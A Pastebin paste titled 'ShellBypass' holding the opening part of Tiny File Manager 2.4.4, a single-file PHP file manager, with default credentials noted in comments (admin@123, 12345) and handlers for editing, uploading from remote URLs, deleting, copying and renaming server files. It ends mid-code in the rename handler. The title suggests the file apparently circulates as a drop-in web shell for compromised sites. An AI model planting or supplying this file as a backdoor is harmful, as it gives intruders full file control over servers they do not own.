rootasuna

ShellBypass

Apr 14th, 2021 (edited)
334
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 179.61 KB | None | 0 0
  1. <?php
  2. //Default Configuration
  3. $CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":false,"hide_Cols":false,"calc_folder":false}';
  4.  
  5. /**
  6. * H3K | Tiny File Manager V2.4.4
  7. * CCP Programmers | [email protected]
  8. * https://tinyfilemanager.github.io
  9. */
  10.  
  11. //TFM version
  12. define('VERSION', '2.4.4');
  13.  
  14. //Application Title
  15. define('APP_TITLE', 'Tiny File Manager');
  16.  
  17. // --- EDIT BELOW CONFIGURATION CAREFULLY ---
  18.  
  19. // Auth with login/password
  20. // set true/false to enable/disable it
  21. // Is independent from IP white- and blacklisting
  22. $use_auth = true;
  23.  
  24. // Login user name and password
  25. // Users: array('Username' => 'Password', 'Username2' => 'Password2', ...)
  26. // Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html
  27. $auth_users = array(
  28. 'admin' => '$2y$10$/K.hjNr84lLNDt8fTXjoI.DBp6PpeyoJ.mGwrrLuCZfAwfSAGqhOW', //admin@123
  29. 'user' => '$2y$10$Fg6Dz8oH9fPoZ2jJan5tZuv6Z4Kp7avtQ9bDfrdRntXtPeiMAZyGO' //12345
  30. );
  31.  
  32. //set application theme
  33. //options - 'light' and 'dark'
  34. $theme = 'light';
  35.  
  36. // Readonly users
  37. // e.g. array('users', 'guest', ...)
  38. $readonly_users = array(
  39. 'user'
  40. );
  41.  
  42. // Enable highlight.js (https://highlightjs.org/) on view's page
  43. $use_highlightjs = true;
  44.  
  45. // highlight.js style
  46. // for dark theme use 'ir-black'
  47. $highlightjs_style = 'vs';
  48.  
  49. // Enable ace.js (https://ace.c9.io/) on view's page
  50. $edit_files = true;
  51.  
  52. // Default timezone for date() and time()
  53. // Doc - http://php.net/manual/en/timezones.php
  54. $default_timezone = 'Etc/UTC'; // UTC
  55.  
  56. // Root path for file manager
  57. // use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder'
  58. $root_path = $_SERVER['DOCUMENT_ROOT'];
  59.  
  60. // Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder'
  61. // Will not working if $root_path will be outside of server document root
  62. $root_url = '';
  63.  
  64. // Server hostname. Can set manually if wrong
  65. $http_host = $_SERVER['HTTP_HOST'];
  66.  
  67. // user specific directories
  68. // array('Username' => 'Directory path', 'Username2' => 'Directory path', ...)
  69. $directories_users = array();
  70.  
  71. // input encoding for iconv
  72. $iconv_input_encoding = 'UTF-8';
  73.  
  74. // date() format for file modification date
  75. // Doc - https://www.php.net/manual/en/function.date.php
  76. $datetime_format = 'd.m.y H:i';
  77.  
  78. // Allowed file extensions for create and rename files
  79. // e.g. 'txt,html,css,js'
  80. $allowed_file_extensions = '';
  81.  
  82. // Allowed file extensions for upload files
  83. // e.g. 'gif,png,jpg,html,txt'
  84. $allowed_upload_extensions = '';
  85.  
  86. // Favicon path. This can be either a full url to an .PNG image, or a path based on the document root.
  87. // full path, e.g http://example.com/favicon.png
  88. // local path, e.g images/icons/favicon.png
  89. $favicon_path = '';
  90.  
  91. // Files and folders to excluded from listing
  92. // e.g. array('myfile.html', 'personal-folder', '*.php', ...)
  93. $exclude_items = array();
  94.  
  95. // Online office Docs Viewer
  96. // Availabe rules are 'google', 'microsoft' or false
  97. // google => View documents using Google Docs Viewer
  98. // microsoft => View documents using Microsoft Web Apps Viewer
  99. // false => disable online doc viewer
  100. $online_viewer = 'google';
  101.  
  102. // Sticky Nav bar
  103. // true => enable sticky header
  104. // false => disable sticky header
  105. $sticky_navbar = true;
  106.  
  107. // Maximum file upload size
  108. // Increase the following values in php.ini to work properly
  109. // memory_limit, upload_max_filesize, post_max_size
  110. $max_upload_size_bytes = 5000;
  111.  
  112. // Possible rules are 'OFF', 'AND' or 'OR'
  113. // OFF => Don't check connection IP, defaults to OFF
  114. // AND => Connection must be on the whitelist, and not on the blacklist
  115. // OR => Connection must be on the whitelist, or not on the blacklist
  116. $ip_ruleset = 'OFF';
  117.  
  118. // Should users be notified of their block?
  119. $ip_silent = true;
  120.  
  121. // IP-addresses, both ipv4 and ipv6
  122. $ip_whitelist = array(
  123. '127.0.0.1', // local ipv4
  124. '::1' // local ipv6
  125. );
  126.  
  127. // IP-addresses, both ipv4 and ipv6
  128. $ip_blacklist = array(
  129. '0.0.0.0', // non-routable meta ipv4
  130. '::' // non-routable meta ipv6
  131. );
  132.  
  133. // if User has the customized config file, try to use it to override the default config above
  134. $config_file = __DIR__.'/config.php';
  135. if (is_readable($config_file)) {
  136. @include($config_file);
  137. }
  138.  
  139. // --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL ---
  140.  
  141. // max upload file size
  142. define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);
  143.  
  144. define('FM_THEME', $theme);
  145.  
  146. // private key and session name to store to the session
  147. if ( !defined( 'FM_SESSION_ID')) {
  148. define('FM_SESSION_ID', 'filemanager');
  149. }
  150.  
  151. // Configuration
  152. $cfg = new FM_Config();
  153.  
  154. // Default language
  155. $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';
  156.  
  157. // Show or hide files and folders that starts with a dot
  158. $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;
  159.  
  160. // PHP error reporting - false = Turns off Errors, true = Turns on Errors
  161. $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;
  162.  
  163. // Hide Permissions and Owner cols in file-listing
  164. $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;
  165.  
  166. // Show directory size: true or speedup output: false
  167. $calc_folder = isset($cfg->data['calc_folder']) ? $cfg->data['calc_folder'] : true;
  168.  
  169. //available languages
  170. $lang_list = array(
  171. 'en' => 'English'
  172. );
  173.  
  174. if ($report_errors == true) {
  175. @ini_set('error_reporting', E_ALL);
  176. @ini_set('display_errors', 1);
  177. } else {
  178. @ini_set('error_reporting', E_ALL);
  179. @ini_set('display_errors', 0);
  180. }
  181.  
  182. // if fm included
  183. if (defined('FM_EMBED')) {
  184. $use_auth = false;
  185. $sticky_navbar = false;
  186. } else {
  187. @set_time_limit(600);
  188.  
  189. date_default_timezone_set($default_timezone);
  190.  
  191. ini_set('default_charset', 'UTF-8');
  192. if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) {
  193. mb_internal_encoding('UTF-8');
  194. }
  195. if (function_exists('mb_regex_encoding')) {
  196. mb_regex_encoding('UTF-8');
  197. }
  198.  
  199. session_cache_limiter('');
  200. session_name(FM_SESSION_ID );
  201. function session_error_handling_function($code, $msg, $file, $line) {
  202. // Permission denied for default session, try to create a new one
  203. if ($code == 2) {
  204. session_abort();
  205. session_id(session_create_id());
  206. @session_start();
  207. }
  208. }
  209. set_error_handler('session_error_handling_function');
  210. session_start();
  211. restore_error_handler();
  212. }
  213.  
  214. if (empty($auth_users)) {
  215. $use_auth = false;
  216. }
  217.  
  218. $is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1)
  219. || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https';
  220.  
  221. // update $root_url based on user specific directories
  222. if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) {
  223. $wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
  224. $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']];
  225. }
  226. // clean $root_url
  227. $root_url = fm_clean_path($root_url);
  228.  
  229. // abs path for site
  230. defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
  231. defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);
  232.  
  233. // logout
  234. if (isset($_GET['logout'])) {
  235. unset($_SESSION[FM_SESSION_ID]['logged']);
  236. fm_redirect(FM_SELF_URL);
  237. }
  238.  
  239. // Validate connection IP
  240. if($ip_ruleset != 'OFF'){
  241. $clientIp = $_SERVER['REMOTE_ADDR'];
  242.  
  243. $proceed = false;
  244.  
  245. $whitelisted = in_array($clientIp, $ip_whitelist);
  246. $blacklisted = in_array($clientIp, $ip_blacklist);
  247.  
  248. if($ip_ruleset == 'AND'){
  249. if($whitelisted == true && $blacklisted == false){
  250. $proceed = true;
  251. }
  252. } else
  253. if($ip_ruleset == 'OR'){
  254. if($whitelisted == true || $blacklisted == false){
  255. $proceed = true;
  256. }
  257. }
  258.  
  259. if($proceed == false){
  260. trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);
  261.  
  262. if($ip_silent == false){
  263. fm_set_msg('Access denied. IP restriction applicable', 'error');
  264. fm_show_header_login();
  265. fm_show_message();
  266. }
  267.  
  268. exit();
  269. }
  270. }
  271.  
  272. // Auth
  273. if ($use_auth) {
  274. if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) {
  275. // Logged
  276. } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'])) {
  277. // Logging In
  278. sleep(1);
  279. if(function_exists('password_verify')) {
  280. if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']])) {
  281. $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr'];
  282. fm_set_msg(lng('You are logged in'));
  283. fm_redirect(FM_SELF_URL . '?p=');
  284. } else {
  285. unset($_SESSION[FM_SESSION_ID]['logged']);
  286. fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
  287. fm_redirect(FM_SELF_URL);
  288. }
  289. } else {
  290. fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
  291. }
  292. } else {
  293. // Form
  294. unset($_SESSION[FM_SESSION_ID]['logged']);
  295. fm_show_header_login();
  296. ?>
  297. <section class="h-100">
  298. <div class="container h-100">
  299. <div class="row justify-content-md-center h-100">
  300. <div class="card-wrapper">
  301. <div class="card fat <?php echo fm_get_theme(); ?>">
  302. <div class="card-body">
  303. <form class="form-signin" action="" method="post" autocomplete="off">
  304. <div class="form-group">
  305. <div class="brand">
  306. <svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="H3K Tiny File Manager">
  307. <g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
  308. <path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/>
  309. <path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/>
  310. <path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g>
  311. </svg>
  312. </div>
  313. <div class="text-center">
  314. <h1 class="card-title"><?php echo APP_TITLE; ?></h1>
  315. </div>
  316. </div>
  317. <hr />
  318. <div class="form-group">
  319. <label for="fm_usr"><?php echo lng('Username'); ?></label>
  320. <input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
  321. </div>
  322.  
  323. <div class="form-group">
  324. <label for="fm_pwd"><?php echo lng('Password'); ?></label>
  325. <input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
  326. </div>
  327.  
  328. <div class="form-group">
  329. <?php fm_show_message(); ?>
  330. </div>
  331.  
  332. <div class="form-group">
  333. <button type="submit" class="btn btn-success btn-block mt-4" role="button">
  334. <?php echo lng('Login'); ?>
  335. </button>
  336. </div>
  337. </form>
  338. </div>
  339. </div>
  340. <div class="footer text-center">
  341. &mdash;&mdash; &copy;
  342. <a href="https://tinyfilemanager.github.io/" target="_blank" class="text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> &mdash;&mdash;
  343. </div>
  344. </div>
  345. </div>
  346. </div>
  347. </section>
  348.  
  349. <?php
  350. fm_show_footer_login();
  351. exit;
  352. }
  353. }
  354.  
  355. // update root path
  356. if ($use_auth && isset($_SESSION[FM_SESSION_ID]['logged'])) {
  357. $root_path = isset($directories_users[$_SESSION[FM_SESSION_ID]['logged']]) ? $directories_users[$_SESSION[FM_SESSION_ID]['logged']] : $root_path;
  358. }
  359.  
  360. // clean and check $root_path
  361. $root_path = rtrim($root_path, '\\/');
  362. $root_path = str_replace('\\', '/', $root_path);
  363. if (!@is_dir($root_path)) {
  364. echo "<h1>Root path \"{$root_path}\" not found!</h1>";
  365. exit;
  366. }
  367.  
  368. defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
  369. defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
  370. defined('FM_LANG') || define('FM_LANG', $lang);
  371. defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
  372. defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
  373. defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', $exclude_items);
  374. defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
  375. define('FM_READONLY', $use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users));
  376. define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');
  377.  
  378. // always use ?p=
  379. if (!isset($_GET['p']) && empty($_FILES)) {
  380. fm_redirect(FM_SELF_URL . '?p=');
  381. }
  382.  
  383. // get path
  384. $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');
  385.  
  386. // clean path
  387. $p = fm_clean_path($p);
  388.  
  389. // for ajax request - save
  390. $input = file_get_contents('php://input');
  391. $_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;
  392.  
  393. // instead globals vars
  394. define('FM_PATH', $p);
  395. define('FM_USE_AUTH', $use_auth);
  396. define('FM_EDIT_FILE', $edit_files);
  397. defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
  398. defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
  399. defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
  400. defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);
  401.  
  402. unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);
  403.  
  404. /*************************** ACTIONS ***************************/
  405.  
  406. // AJAX Request
  407. if (isset($_POST['ajax']) && !FM_READONLY) {
  408.  
  409. // save
  410. if (isset($_POST['type']) && $_POST['type'] == "save") {
  411. // get current path
  412. $path = FM_ROOT_PATH;
  413. if (FM_PATH != '') {
  414. $path .= '/' . FM_PATH;
  415. }
  416. // check path
  417. if (!is_dir($path)) {
  418. fm_redirect(FM_SELF_URL . '?p=');
  419. }
  420. $file = $_GET['edit'];
  421. $file = fm_clean_path($file);
  422. $file = str_replace('/', '', $file);
  423. if ($file == '' || !is_file($path . '/' . $file)) {
  424. fm_set_msg('File not found', 'error');
  425. fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
  426. }
  427. header('X-XSS-Protection:0');
  428. $file_path = $path . '/' . $file;
  429.  
  430. $writedata = $_POST['content'];
  431. $fd = fopen($file_path, "w");
  432. $write_results = @fwrite($fd, $writedata);
  433. fclose($fd);
  434. if ($write_results === false){
  435. header("HTTP/1.1 500 Internal Server Error");
  436. die("Could Not Write File! - Check Permissions / Ownership");
  437. }
  438. die(true);
  439. }
  440.  
  441. //search : get list of files from the current folder
  442. if(isset($_POST['type']) && $_POST['type']=="search") {
  443. $dir = FM_ROOT_PATH;
  444. $response = scan(fm_clean_path($_POST['path']), $_POST['content']);
  445. echo json_encode($response);
  446. exit();
  447. }
  448.  
  449. // backup files
  450. if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) {
  451. $fileName = $_POST['file'];
  452. $fullPath = FM_ROOT_PATH . '/';
  453. if (!empty($_POST['path'])) {
  454. $relativeDirPath = fm_clean_path($_POST['path']);
  455. $fullPath .= "{$relativeDirPath}/";
  456. }
  457. $date = date("dMy-His");
  458. $newFileName = "{$fileName}-{$date}.bak";
  459. $fullyQualifiedFileName = $fullPath . $fileName;
  460. try {
  461. if (!file_exists($fullyQualifiedFileName)) {
  462. throw new Exception("File {$fileName} not found");
  463. }
  464. if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
  465. echo "Backup {$newFileName} created";
  466. } else {
  467. throw new Exception("Could not copy file {$fileName}");
  468. }
  469. } catch (Exception $e) {
  470. echo $e->getMessage();
  471. }
  472. }
  473.  
  474. // Save Config
  475. if (isset($_POST['type']) && $_POST['type'] == "settings") {
  476. global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $calc_folder;
  477. $newLng = $_POST['js-language'];
  478. fm_get_translations([]);
  479. if (!array_key_exists($newLng, $lang_list)) {
  480. $newLng = 'en';
  481. }
  482.  
  483. $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false;
  484. $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false;
  485. $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false;
  486. $caf = isset($_POST['js-calc-folder']) && $_POST['js-calc-folder'] == "true" ? true : false;
  487.  
  488. if ($cfg->data['lang'] != $newLng) {
  489. $cfg->data['lang'] = $newLng;
  490. $lang = $newLng;
  491. }
  492. if ($cfg->data['error_reporting'] != $erp) {
  493. $cfg->data['error_reporting'] = $erp;
  494. $report_errors = $erp;
  495. }
  496. if ($cfg->data['show_hidden'] != $shf) {
  497. $cfg->data['show_hidden'] = $shf;
  498. $show_hidden_files = $shf;
  499. }
  500. if ($cfg->data['show_hidden'] != $shf) {
  501. $cfg->data['show_hidden'] = $shf;
  502. $show_hidden_files = $shf;
  503. }
  504. if ($cfg->data['hide_Cols'] != $hco) {
  505. $cfg->data['hide_Cols'] = $hco;
  506. $hide_Cols = $hco;
  507. }
  508. if ($cfg->data['calc_folder'] != $caf) {
  509. $cfg->data['calc_folder'] = $caf;
  510. $calc_folder = $caf;
  511. }
  512. $cfg->save();
  513. echo true;
  514. }
  515.  
  516. // new password hash
  517. if (isset($_POST['type']) && $_POST['type'] == "pwdhash") {
  518. $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
  519. echo $res;
  520. }
  521.  
  522. //upload using url
  523. if(isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) {
  524. $path = FM_ROOT_PATH;
  525. if (FM_PATH != '') {
  526. $path .= '/' . FM_PATH;
  527. }
  528.  
  529. $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;
  530. $use_curl = false;
  531. $temp_file = tempnam(sys_get_temp_dir(), "upload-");
  532. $fileinfo = new stdClass();
  533. $fileinfo->name = trim(basename($url), ".\x00..\x20");
  534.  
  535. $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
  536. $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
  537. $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
  538.  
  539. function event_callback ($message) {
  540. global $callback;
  541. echo json_encode($message);
  542. }
  543.  
  544. function get_file_path () {
  545. global $path, $fileinfo, $temp_file;
  546. return $path."/".basename($fileinfo->name);
  547. }
  548.  
  549. $err = false;
  550.  
  551. if(!$isFileAllowed) {
  552. $err = array("message" => "File extension is not allowed");
  553. event_callback(array("fail" => $err));
  554. exit();
  555. }
  556.  
  557. if (!$url) {
  558. $success = false;
  559. } else if ($use_curl) {
  560. @$fp = fopen($temp_file, "w");
  561. @$ch = curl_init($url);
  562. curl_setopt($ch, CURLOPT_NOPROGRESS, false );
  563. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  564. curl_setopt($ch, CURLOPT_FILE, $fp);
  565. @$success = curl_exec($ch);
  566. $curl_info = curl_getinfo($ch);
  567. if (!$success) {
  568. $err = array("message" => curl_error($ch));
  569. }
  570. @curl_close($ch);
  571. fclose($fp);
  572. $fileinfo->size = $curl_info["size_download"];
  573. $fileinfo->type = $curl_info["content_type"];
  574. } else {
  575. $ctx = stream_context_create();
  576. @$success = copy($url, $temp_file, $ctx);
  577. if (!$success) {
  578. $err = error_get_last();
  579. }
  580. }
  581.  
  582. if ($success) {
  583. $success = rename($temp_file, get_file_path());
  584. }
  585.  
  586. if ($success) {
  587. event_callback(array("done" => $fileinfo));
  588. } else {
  589. unlink($temp_file);
  590. if (!$err) {
  591. $err = array("message" => "Invalid url parameter");
  592. }
  593. event_callback(array("fail" => $err));
  594. }
  595. }
  596.  
  597. exit();
  598. }
  599.  
  600. // Delete file / folder
  601. if (isset($_GET['del']) && !FM_READONLY) {
  602. $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) );
  603. if ($del != '' && $del != '..' && $del != '.') {
  604. $path = FM_ROOT_PATH;
  605. if (FM_PATH != '') {
  606. $path .= '/' . FM_PATH;
  607. }
  608. $is_dir = is_dir($path . '/' . $del);
  609. if (fm_rdelete($path . '/' . $del)) {
  610. $msg = $is_dir ? 'Folder <b>%s</b> deleted' : 'File <b>%s</b> deleted';
  611. fm_set_msg(sprintf($msg, fm_enc($del)));
  612. } else {
  613. $msg = $is_dir ? 'Folder <b>%s</b> not deleted' : 'File <b>%s</b> not deleted';
  614. fm_set_msg(sprintf($msg, fm_enc($del)), 'error');
  615. }
  616. } else {
  617. fm_set_msg('Invalid file or folder name', 'error');
  618. }
  619. fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
  620. }
  621.  
  622. // Create folder
  623. if (isset($_GET['new']) && isset($_GET['type']) && !FM_READONLY) {
  624. $type = $_GET['type'];
  625. $new = str_replace( '/', '', fm_clean_path( strip_tags( $_GET['new'] ) ) );
  626. if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.') {
  627. $path = FM_ROOT_PATH;
  628. if (FM_PATH != '') {
  629. $path .= '/' . FM_PATH;
  630. }
  631. if ($_GET['type'] == "file") {
  632. if (!file_exists($path . '/' . $new)) {
  633. if(fm_is_valid_ext($new)) {
  634. @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new);
  635. fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fm_enc($new)));
  636. } else {
  637. fm_set_msg('File extension is not allowed', 'error');
  638. }
  639. } else {
  640. fm_set_msg(sprintf('File <b>%s</b> already exists', fm_enc($new)), 'alert');
  641. }
  642. } else {
  643. if (fm_mkdir($path . '/' . $new, false) === true) {
  644. fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new));
  645. } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
  646. fm_set_msg(sprintf('Folder <b>%s</b> already exists', fm_enc($new)), 'alert');
  647. } else {
  648. fm_set_msg(sprintf('Folder <b>%s</b> not created', fm_enc($new)), 'error');
  649. }
  650. }
  651. } else {
  652. fm_set_msg('Invalid characters in file or folder name', 'error');
  653. }
  654. fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
  655. }
  656.  
  657. // Copy folder / file
  658. if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) {
  659. // from
  660. $copy = $_GET['copy'];
  661. $copy = fm_clean_path($copy);
  662. // empty path
  663. if ($copy == '') {
  664. fm_set_msg('Source path not defined', 'error');
  665. fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
  666. }
  667. // abs path from
  668. $from = FM_ROOT_PATH . '/' . $copy;
  669. // abs path to
  670. $dest = FM_ROOT_PATH;
  671. if (FM_PATH != '') {
  672. $dest .= '/' . FM_PATH;
  673. }
  674. $dest .= '/' . basename($from);
  675. // move?
  676. $move = isset($_GET['move']);
  677. // copy/move/duplicate
  678. if ($from != $dest) {
  679. $msg_from = trim(FM_PATH . '/' . basename($from), '/');
  680. if ($move) { // Move and to != from so just perform move
  681. $rename = fm_rename($from, $dest);
  682. if ($rename) {
  683. fm_set_msg(sprintf('Moved from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
  684. } elseif ($rename === null) {
  685. fm_set_msg('File or folder with this path already exists', 'alert');
  686.  
  687. } else {
  688. fm_set_msg(sprintf('Error while moving from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error');
  689. }
  690. } else { // Not move and to != from so copy with original name
  691. if (fm_rcopy($from, $dest)) {
  692. fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
  693. } else {
  694. fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error');
  695. }
  696. }
  697. } else {
  698. if (!$move){ //Not move and to = from so duplicate
  699. $msg_from = trim(FM_PATH . '/' . basename($from), '/');
  700. $fn_parts = pathinfo($from);
  701. $extension_suffix = '';
  702. if(!is_dir($from)){
  703. $extension_suffix = '.'.$fn_parts['extension'];
  704. }
  705. //Create new name for duplicate
  706. $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix;
  707. $loop_count = 0;
  708. $max_loop = 1000;
  709. // Check if a file with the duplicate name already exists, if so, make new name (edge case...)
  710. while(file_exists($fn_duplicate) & $loop_count < $max_loop){
  711. $fn_parts = pathinfo($fn_duplicate);
  712. $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix;
  713. $loop_count++;
  714. }
  715. if (fm_rcopy($from, $fn_duplicate, False)) {
  716. fm_set_msg(sprintf('Copyied from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)));
  717. } else {
  718. fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)), 'error');
  719. }
  720. }
  721. else{
  722. fm_set_msg('Paths must be not equal', 'alert');
  723. }
  724. }
  725. fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
  726. }
  727.  
  728. // Mass copy files/ folders
  729. if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish']) && !FM_READONLY) {
  730. // from
  731. $path = FM_ROOT_PATH;
  732. if (FM_PATH != '') {
  733. $path .= '/' . FM_PATH;
  734. }
  735. // to
  736. $copy_to_path = FM_ROOT_PATH;
  737. $copy_to = fm_clean_path($_POST['copy_to']);
  738. if ($copy_to != '') {
  739. $copy_to_path .= '/' . $copy_to;
  740. }
  741. if ($path == $copy_to_path) {
  742. fm_set_msg('Paths must be not equal', 'alert');
  743. fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
  744. }
  745. if (!is_dir($copy_to_path)) {
  746. if (!fm_mkdir($copy_to_path, true)) {
  747. fm_set_msg('Unable to create destination folder', 'error');
  748. fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
  749. }
  750. }
  751. // move?
  752. $move = isset($_POST['move']);
  753. // copy/move
  754. $errors = 0;
  755. $files = $_POST['file'];
  756. if (is_array($files) && count($files)) {
  757. foreach ($files as $f) {
  758. if ($f != '') {
  759. // abs path from
  760. $from = $path . '/' . $f;
  761. // abs path to
  762. $dest = $copy_to_path . '/' . $f;
  763. // do
  764. if ($move) {
  765. $rename = fm_rename($from, $dest);
  766. if ($rename === false) {
  767. $errors++;
  768. }
  769. } else {
  770. if (!fm_rcopy($from, $dest)) {
  771. $errors++;
  772. }
  773. }
  774. }
  775. }
  776. if ($errors == 0) {
  777. $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
  778. fm_set_msg($msg);
  779. } else {
  780. $msg = $move ? 'Error while moving items' : 'Error while copying items';
  781. fm_set_msg($msg, 'error');
  782. }
  783. } else {
  784. fm_set_msg('Nothing selected', 'alert');
  785. }
  786. fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
  787. }
  788.  
  789. // Rename
  790. if (isset($_GET['ren'], $_GET['to']) && !FM_READONLY) {
  791. // old name
  792. $old = $_GET['ren'];
  793. $old = fm_clean_path($old);
  794. $old = str_replace('/', '', $old);
  795. // new name
  796. $new = $_GET['to'];
